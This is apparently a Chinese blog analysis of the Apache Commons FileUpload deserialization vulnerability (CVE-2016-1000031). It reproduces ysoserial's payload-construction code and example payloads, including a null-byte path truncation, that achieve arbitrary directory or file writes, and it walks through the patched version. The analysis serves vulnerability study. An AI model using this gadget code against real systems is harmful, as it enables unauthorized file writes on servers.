Apache Commons Fileupload 反序列化漏洞分析
前幾天剛剛分析了Apache Commons FileUpload的Dos的漏洞,無意間發現了還存在反序列化的漏洞。網上只存在 ofollow,noindex">cve-2016-1000031 Apache Commons FileUpload 反序列化漏洞深入分析 。這篇文章只是簡要地分析了一下,但是對於原理還是不理解。後來發現在 ysoserial
中存在這個漏洞的Payload,於是就根據ysoserial中的Payload對這個漏洞進行分析。
漏洞說明
漏洞的來源是在於 DiskFileItem
中的 readObject()
進行檔案寫入的操作,這就意味著如果我們對已經序列化的 DiskFileItem
物件進行反序列化操作就能夠觸發 readObject()
執行從而觸發這個漏洞。
這個漏洞的危害是能夠任意寫、讀檔案或者目錄。但是具體是對檔案還是目錄操作與FileUpload以及JDK的版本有關。不同的漏洞環境能夠達到的效果不一樣。
- FileUpload的1.3.1之前的版本配合JDK1.7之前的版本,能夠達到寫入任意檔案的漏洞;
- FileUpload的1.3.1之前的版本配合JDK1.7及其之後的版本,能夠向任意目錄寫入檔案;
- FileUpload的1.3.1以及之後的版本只能向特定目錄寫入檔案,此目錄也必須存在。(檔案的的命名也無法控制);
下面將進行詳細地分析
Payload構造
我們首先測試的版本是1.3的版本,JDK是1.8版本,所以這種組合只能達到向任意目錄的檔案寫入的漏洞效果。
我們測試的payload是 {"write;cve1000031;123456"}
,表示的含義就是向目錄 cve1000031
中寫入 123456
的內容。在 ysoserial
中最終是由 ysoserial.payloads.FileUpload1::makePayload()
來構建payload。程式碼如下:
private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception { // if thresh < written length, delete outputFile after copying to repository temp file // otherwise write the contents to repository temp file File repository = new File(repoPath); DiskFileItem diskFileItem = new DiskFileItem("testxxx", "application/octet-stream", false, "testxxx", 100000, repository); File outputFile = new File(filePath); DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); os.write(data); Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); Reflections.setFieldValue(diskFileItem, "dfos", dfos); Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); return diskFileItem; }
當我們輸入我們的Payload, {"write;cve1000031;123456"}
,其中的賦值情況是:
而 thresh
的值就是我們需要寫入的內容的長度加1,即 len(123456)+1
結果就是7。其中還有 filePath
是 cve1000031/whatever
是因為在這個漏洞環境中我們最終是向 cve1000031
目錄寫入,所以後面是什麼就沒有意義了。
最後在程式碼中還存在幾個反序列化的操作:
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); Reflections.setFieldValue(diskFileItem, "dfos", dfos); Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
發序列化的意義是在於我們無法通過 DiskFileItem
的示例進行設定,只能通過反射的方式設定,這幾個屬性也是我們觸發漏洞的必要條件。
之後對我們構造的這個進行序列化操作,反序列化之後就會觸發DiskFileItem的 readObject()
從而觸發漏洞。
漏洞分析-1
漏洞環境: FileUpload 1.3
+ JDK1.7
當對 DiskFileItem
的物件進行反序列化操作時,由 org.apache.commons.fileupload.disk.DiskFileItem::readObject()
處理。
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { // read values in.defaultReadObject(); OutputStream output = getOutputStream(); if (cachedContent != null) { output.write(cachedContent); } else { FileInputStream input = new FileInputStream(dfosFile); IOUtils.copy(input, output); dfosFile.delete(); dfosFile = null; } output.close(); cachedContent = null; }
跟進 getOutputStream()
,進入到:
public OutputStream getOutputStream() throws IOException { if (dfos == null) { File outputFile = getTempFile(); dfos = new DeferredFileOutputStream(sizeThreshold, outputFile); } return dfos; }
由於 dfos == null
滿足條件,會執行 File outputFile = getTempFile();
方法。跟蹤進入 getTempFile()
到中

其中的 tempDir
就是我們設定的 repository
,即 cve1000031
。 tmpFileName
是由 DiskFileItem
是自動生成的。最終和 tempDir
組合得到的檔案路徑就是 cve1000031\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp
。
最後返回至 readObject()
方法中寫入檔案,如下:
其中的 cachedContent
就是我們之前在Payload中設定的 123456
。那麼Payload的最終的效果就是在 cve1000031\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp
檔案中寫入了 123456
的內容。
漏洞分析-2
由於前面的一個漏洞分析是向任意目錄寫檔案的功能,本次分析的是任意檔案寫入的功能。本次的漏洞環境是 FileUpload 1.3
+ JDK1.6
。
Payload構造
構造的Payload是 {"writeOld;cve1000031.txt;123456"}
。同樣會呼叫 makePayload()
構造Payload。
但是其中的 repoPath
最後一位是 \0
,這個就類似於PHP中的截斷,用於截斷後面的路徑,這樣就可以達到任意檔案寫入的效果。具體的原理說明如下:
JDK7以上在Java的file相關的基礎類中都做了空字元的保護,這也是在針對java的string 和 c char的結束方式不一致,在Java中檔案的操作中使用String這種char 陣列,而C中的char 是以空字元為結束符,所以java操作的檔案中很容易通過注入空字元來操作完全不同的檔案。比如 Java File file = new File("/test/test.txt\0.jsp")
看起來再操作 test.txt\0.jsp
實際上在底層呼叫的(本質還是c讀寫檔案)是在操作test.txt。在JDK7以後的版本File 裡面會有一個判斷是否有空字元的函式
這個意思就是在JDK7之前可以利用 \0
進行目錄截斷,和php在5.3.4版本之前也可以進行目錄截斷是一樣的道理。所以這個任意檔案寫入為什麼要求是JDK7以下的版本才可以的原因。
漏洞的執行流程和前面分析的漏洞流程一樣,不同是在 getTempFile()
中:
其中 this.tempFile
的路徑是 cve1000031.txt \upload_6982dc32_8ca4_4d7c_b658_0a9b44a60741_00000000.tmp
。由於是在JDK1.6的環境下,後面的 \upload_6982dc32_8ca4_4d7c_b658_0a9b44a60741_00000000.tmp
在寫入檔案時會被忽略,所以最終是向 cve1000031.txt
檔案中寫入內容。
漏洞分析-3
漏洞環境: FileUpload 1.3.1
+ JDK1.7
在 FileUpload 1.3.1
中對 readObject()
的功能進行了修改。修改主要是對 repository
進行了校驗。
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { // read values in.defaultReadObject(); /* One expected use of serialization is to migrate HTTP sessions * containing a DiskFileItem between JVMs. Particularly if the JVMs are * on different machines It is possible that the repository location is * not valid so validate it. */ if (repository != null) { if (repository.isDirectory()) { // Check path for nulls if (repository.getPath().contains("\0")) { throw new IOException(format( "The repository [%s] contains a null character", repository.getPath())); } } else { throw new IOException(format( "The repository [%s] is not a directory", repository.getAbsolutePath())); } } OutputStream output = getOutputStream(); if (cachedContent != null) { output.write(cachedContent); } else { FileInputStream input = new FileInputStream(dfosFile); IOUtils.copy(input, output); dfosFile.delete(); dfosFile = null; } output.close(); cachedContent = null; }
通過對 repository.isDirectory()
和 repository.getPath().contains("\0")
的判斷,就阻止了任意的檔案寫入的漏洞了。所以在這種環境下只能下特定的目錄寫入檔案了。但是這種情況下,你也只能向臨時目錄寫入檔案。
總結
分析這個漏洞學習到了JDK1.6的截斷同時也感慨 ysoserial
的強大。
以上